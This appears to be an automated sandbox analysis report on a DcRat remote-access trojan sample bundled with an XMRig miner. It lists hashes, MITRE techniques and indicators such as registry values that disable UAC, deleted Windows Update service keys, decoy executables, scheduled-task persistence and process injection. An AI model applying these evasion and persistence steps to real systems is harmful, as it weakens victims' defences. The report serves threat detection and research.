dcrat | b171ce02608257ab163b0dcdf443a91a41ffe02e2c74597cdb829f5088a7ca94

Analysis

max time kernel
151s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
21/10/2022, 02:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
112487b13ebcb89ab5c481bbd53bff21.exe
Size 10.4MB
Sample221021-c6fhaaghfl
SHA256 b171ce02608257ab163b0dcdf443a91a41ffe02e2c74597cdb829f5088a7ca94
MD5 112487b13ebcb89ab5c481bbd53bff21
SHA1 85da3dc68dc1cccd2368de45d56854d238907610
SHA512 05929aa6f8d63e00a61cd6a2218d40f4a6c74fb42e5db4629b1d6c6f09ffdc0742532e838ba42549c59ac04a3cf368d85f455364c9f24b97cda1b3d321d3a313
SSDEEP 196608:arcZHC5bscZGF89WgnhnWE3BSeFqK4AjIjGSSq6p:aAsgnSX30FK4AUch
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat xmrig evasion infostealer miner rat spyware stealer trojan upx

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Process spawned unexpected child process 57 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4304	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2404	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1424	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3228	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4504	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4696	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	432	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4468	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	828	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4232	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2184	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3420	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2520	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3956	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5012	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1972	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4980	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4124	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	780	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2200	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	64	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4736	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4728	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3260	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2812	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1488	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3492	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3672	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4956	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3880	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2548	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2376	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5056	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1736	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4884	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1360	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2044	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	312	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2984	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2316	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3644	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2352	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1396	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3636	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3340	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2396	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	856	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	736	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1304	364	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4048	364	schtasks.exe	18

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Registry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Registry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Registry.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

DCRat payload 8 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/4656-132-0x0000000000400000-0x0000000000E6D000-memory.dmp	dcrat
behavioral2/files/0x0009000000022e12-134.dat	dcrat
behavioral2/files/0x0009000000022e12-137.dat	dcrat
behavioral2/files/0x0006000000022e25-147.dat	dcrat
behavioral2/files/0x0006000000022e25-148.dat	dcrat
behavioral2/memory/2408-149-0x00000000001D0000-0x0000000000484000-memory.dmp	dcrat
behavioral2/files/0x0006000000022e32-184.dat	dcrat
behavioral2/files/0x0006000000022e32-183.dat	dcrat

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/5020-231-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp	xmrig
behavioral2/memory/5020-233-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp	xmrig

Executes dropped EXE 5 IoCs

pid	Process
4976	Photoshop.exe
5032	adobe.exe
2408	BridgeServerweb.exe
4316	updater.exe
1732	Registry.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5020-231-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp	upx
behavioral2/memory/5020-233-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp	upx

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	112487b13ebcb89ab5c481bbd53bff21.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Photoshop.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	BridgeServerweb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BridgeServerweb.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Registry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Registry.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4316 set thread context of 3120	4316	updater.exe	196
PID 4316 set thread context of 5020	4316	updater.exe	202

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	adobe.exe
File created	C:\Program Files (x86)\Windows Media Player\es-ES\fontdrvhost.exe	BridgeServerweb.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\55b276f4edf653	BridgeServerweb.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\7-Zip\9e8d7a4ca61bd9	BridgeServerweb.exe
File created	C:\Program Files\Google\Chrome\Application\89.0.4389.114\c5b4cb5e9653cc	BridgeServerweb.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\StartMenuExperienceHost.exe	BridgeServerweb.exe
File created	C:\Program Files\7-Zip\RuntimeBroker.exe	BridgeServerweb.exe
File created	C:\Program Files (x86)\Windows Media Player\es-ES\5b884080fd4f94	BridgeServerweb.exe
File created	C:\Program Files (x86)\Google\Policies\csrss.exe	BridgeServerweb.exe
File created	C:\Program Files (x86)\Google\Policies\886983d96e3d3e	BridgeServerweb.exe
File created	C:\Program Files\Google\Chrome\Application\89.0.4389.114\services.exe	BridgeServerweb.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Globalization\services.exe	BridgeServerweb.exe
File created	C:\Windows\Globalization\c5b4cb5e9653cc	BridgeServerweb.exe
File created	C:\Windows\assembly\smss.exe	BridgeServerweb.exe
File created	C:\Windows\assembly\69ddcba757bf72	BridgeServerweb.exe
File created	C:\Windows\DigitalLocker\en-US\Registry.exe	BridgeServerweb.exe
File created	C:\Windows\DigitalLocker\en-US\ee2ad38f3d4382	BridgeServerweb.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1108	sc.exe
1632	sc.exe
696	sc.exe
60	sc.exe
612	sc.exe
2636	sc.exe
5032	sc.exe
4908	sc.exe
2152	sc.exe
3868	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 57 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2316	schtasks.exe
3228	schtasks.exe
4728	schtasks.exe
312	schtasks.exe
736	schtasks.exe
828	schtasks.exe
2708	schtasks.exe
2548	schtasks.exe
2352	schtasks.exe
2404	schtasks.exe
4696	schtasks.exe
1304	schtasks.exe
1424	schtasks.exe
2812	schtasks.exe
1360	schtasks.exe
2044	schtasks.exe
4980	schtasks.exe
64	schtasks.exe
4504	schtasks.exe
4736	schtasks.exe
3492	schtasks.exe
1840	schtasks.exe
2600	schtasks.exe
2984	schtasks.exe
1396	schtasks.exe
432	schtasks.exe
2520	schtasks.exe
3968	schtasks.exe
5012	schtasks.exe
1876	schtasks.exe
856	schtasks.exe
2200	schtasks.exe
1488	schtasks.exe
3672	schtasks.exe
5056	schtasks.exe
2376	schtasks.exe
4884	schtasks.exe
3312	schtasks.exe
4468	schtasks.exe
2184	schtasks.exe
3956	schtasks.exe
1736	schtasks.exe
3644	schtasks.exe
4024	schtasks.exe
4304	schtasks.exe
4956	schtasks.exe
3880	schtasks.exe
3636	schtasks.exe
3340	schtasks.exe
2396	schtasks.exe
4232	schtasks.exe
3420	schtasks.exe
780	schtasks.exe
3260	schtasks.exe
1972	schtasks.exe
4124	schtasks.exe
4048	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	Photoshop.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	112487b13ebcb89ab5c481bbd53bff21.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	powershell.exe
2636	powershell.exe
5068	powershell.exe
5068	powershell.exe
2408	BridgeServerweb.exe
4960	powershell.exe
4960	powershell.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
2408	BridgeServerweb.exe
1732	Registry.exe
8	powershell.exe
8	powershell.exe
424	powershell.exe
424	powershell.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
1732	Registry.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe
5020	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	4844	powercfg.exe
Token: SeCreatePagefilePrivilege	4844	powercfg.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	384	powercfg.exe
Token: SeCreatePagefilePrivilege	384	powercfg.exe
Token: SeShutdownPrivilege	4968	powercfg.exe
Token: SeCreatePagefilePrivilege	4968	powercfg.exe
Token: SeShutdownPrivilege	4036	powercfg.exe
Token: SeCreatePagefilePrivilege	4036	powercfg.exe
Token: SeDebugPrivilege	2408	BridgeServerweb.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe
Token: SeUndockPrivilege	5068	powershell.exe
Token: SeManageVolumePrivilege	5068	powershell.exe
Token: 33	5068	powershell.exe
Token: 34	5068	powershell.exe
Token: 35	5068	powershell.exe
Token: 36	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe
Token: SeUndockPrivilege	5068	powershell.exe
Token: SeManageVolumePrivilege	5068	powershell.exe
Token: 33	5068	powershell.exe
Token: 34	5068	powershell.exe
Token: 35	5068	powershell.exe
Token: 36	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4976	4656	112487b13ebcb89ab5c481bbd53bff21.exe	82
PID 4656 wrote to memory of 4976	4656	112487b13ebcb89ab5c481bbd53bff21.exe	82
PID 4656 wrote to memory of 4976	4656	112487b13ebcb89ab5c481bbd53bff21.exe	82
PID 4656 wrote to memory of 5032	4656	112487b13ebcb89ab5c481bbd53bff21.exe	83
PID 4656 wrote to memory of 5032	4656	112487b13ebcb89ab5c481bbd53bff21.exe	83
